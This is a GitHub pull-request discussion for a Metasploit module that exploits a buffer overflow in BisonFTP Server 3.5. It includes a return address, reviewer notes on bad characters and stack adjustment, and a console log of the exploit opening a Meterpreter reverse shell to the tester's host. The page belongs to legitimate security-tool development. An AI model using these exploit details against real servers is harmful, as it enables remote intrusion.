Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create bison_ftp_bof.rb (Bisonware BisonFTP Server 3.5 BoF) #6263

Merged
merged 8 commits into from Nov 25, 2015
Merged

Create bison_ftp_bof.rb (Bisonware BisonFTP Server 3.5 BoF) #6263

merged 8 commits into from Nov 25, 2015

Conversation

shipcod3
Copy link
Contributor

This module exploits a buffer overflow vulnerability in Bisonware BisonFTP Server 3.5 and tested on Windows XP Service Pack 3 EN.

An original msf has been created by veerendragg but it's kinda unreliable and was not pushed on this repo. It is because of the FTP's prompt as shown on the image below wherein you need to login again in order to trigger the exploit. I added a check method and some fixes for the original msf and still using the same offset and return pointer
.
image

PoC: image

[
[ 'Bisonware FTP Server / Windows XP SP3 EN',
{
'Ret' => 0x0040333f,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If the RET contains a NULL byte, why is \x00 included in badchars?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

seems to be working though, if I removed the NULL byte, the exploit doesn't work.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Interesting. So perhaps the 39 bytes at the end of the exploit aren't required then?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

yep you are right, I will remove that then.

@shipcod3
Copy link
Contributor Author

Will do some changes then :)

@OJ
Copy link
Contributor

OJ commented Nov 20, 2015

@shipcod3 Roger! Thanks for the submission :)

@OJ OJ added the module label Nov 20, 2015
@shipcod3
Copy link
Contributor Author

@OJ thanks for the review too 👍

@Dhamuharker
Copy link

thanks 👍

Adding constant NOP
@shipcod3
Copy link
Contributor Author

@OJ done changing the NOP to constant value and the exploit seems to work.

image

@wchen-r7 wchen-r7 self-assigned this Nov 24, 2015
@wchen-r7
Copy link
Contributor

Looks like @OJ got most of this reviewed/vetted. I think I'll grab this and test it tomorrow, and if it works for me I'll land it... sounds good?

@OJ
Copy link
Contributor

OJ commented Nov 24, 2015

@shipcod3 Thanks for the fixes. Looks like there's a few formatting things left, but I'm sure @wchen-r7 will help there.

@wchen-r7 thanks mate. I did a review, but haven't had the chance to test. Thanks for taking it on!

@shipcod3
Copy link
Contributor Author

@OJ and @wchen-r7 you guys rock :)

@wchen-r7
Copy link
Contributor

Hmmm, not working for me:

screen shot 2015-11-24 at 8 35 21 pm

screen shot 2015-11-24 at 8 35 53 pm

screen shot 2015-11-24 at 8 30 55 pm

@shipcod3
Copy link
Contributor Author

Hmm looks like it only crashed the application. Here is mine:

image

image

After sending the exploit and gaining a meterpreter:

image

Can you try again I added 'StackAdjustment' => -3500.

@shipcod3
Copy link
Contributor Author

I also modified the space to 310 and verified it. The exploit still works

image

@wchen-r7
Copy link
Contributor

@shipcod3 Better now, got a shell:

msf exploit(bison_ftp_bof) > run

[*] Started reverse handler on 192.168.1.199:4444 
[*] Connecting to FTP server 192.168.1.80:21...
[*] Connected to target FTP server.
[*] Triggering the prompt for an unregistered product
[*] Disconnecting...
[*] Connecting for the second time to deliver our payload...
[*] Connecting to FTP server 192.168.1.80:21...
[*] Connected to target FTP server.
[*] Sending payload...
[*] Sending stage (957486 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1264) at 2015-11-24 22:50:50 -0600

meterpreter >

@shipcod3
Copy link
Contributor Author

@wchen-r7 alright, cool :)

@wchen-r7 wchen-r7 merged commit 9a7e51d into rapid7:master Nov 25, 2015
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants